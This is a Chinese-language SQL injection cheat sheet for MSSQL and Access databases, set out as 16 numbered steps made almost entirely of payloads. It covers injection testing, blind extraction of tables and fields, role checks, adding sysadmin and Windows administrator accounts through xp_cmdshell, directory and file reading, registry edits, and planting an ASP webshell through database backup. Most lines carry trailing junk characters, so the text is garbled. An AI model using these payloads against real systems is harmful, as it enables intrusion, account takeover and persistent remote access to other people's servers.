1.判断是否有注入;and 1=1 ;and 1=2 Z/~7N9?m(
2.初步判断是否是mssql ;and user>0 Xah-*]ET
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3.注入参数是字符'and [查询条件] and ''=' `@)>5gW&p
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' +xG
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5.判断数据库系统 |];f?1
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;and (select count(*) from sysobjects)>0 mssql .&2Nm&y$K
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;and (select count(*) from msysobjects)>0 access x}B_;&>&"_
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 }I>h<O
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 3Eu;_u_
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 [JyhzYf\
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9.(1)猜字段的ascii值(access) {Ne5*HFV
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 h5^qo ^;g7
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(2)猜字段的ascii值(mssql) PqVz^(Wz
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 (YC{BM}
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10.测试权限结构(mssql) =
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- N3$%!\~O
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ,6AnuA
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- >Sc/E}3
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- )~2~q7
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Ahf71YP
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- pgipT#_K
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;and 1=(select IS_MEMBER('db_owner'));-- Da-U@e!
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11.添加mssql和系统的帐户 HnsPXF'8g
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;exec master.dbo.sp_addlogin username;-- Zgw4[GpL
;exec master.dbo.sp_password null,username,password;-- aExt TE
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- vTsMq>%,<
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;exec master.dbo.xp_cmdshell 'net user username password /CXQ&nwY9=
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 31&;3?3>
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4Is Wp!`W
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- gN;
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12.(1)遍历目录 SQT]'
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;create table dirs(paths varchar(100), id int) aJLc&o 8Yg
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Ejt?B')aB5
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;and (select top 1 paths from dirs)>0 ^GnR1.ux
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Jp"[` m
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(2)遍历目录 :_[pZ;-@
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3$4I
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 #H;1)G(/
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 M'nzoRk
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 I#/"6%e
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 *X
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13.mssql中的存储过程 PQ 2rNY6
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xp_regenumvalues 注册表根键, 子键 B&AF(e (
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 0IyT(1hS
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xp_regread 根键,子键,键值名
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 -s^)HR
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xp_regwrite 根键,子键, 值名, 值类型, 值 =w7+Yt
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 wW7# M
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 [e o=
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xp_regdeletevalue 根键,子键,值名 @w(X}q1
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 0nZQ"{x
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 \46*4?pP
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14.mssql的backup创建webshell &t6:1 T
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use model =s9*=5r 8
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create table cmd(str image); K{:[0oIHc
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insert into cmd(str) values (''); {s{+MbD
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backup database model to disk='c:\l.asp'; 5> !N)pA
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15.mssql内置函数 |uI~}pSG
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;and (select @@version)>0 获得Windows的版本号 yb,$UT"]
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa
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;and (select user_name())>0 爆当前系统的连接用户 q2s=>J';
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;and (select db_name())>0 得到当前连接的数据库 5}a.<
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16.简洁的webshell 0`Uw[Er&
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use model Zu4au<
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create table cmd(str image); Wiw~oXo
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insert into cmd(str) values (''); S(/^_Y
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backup database model to disk='g:\wwwtest\l.asp';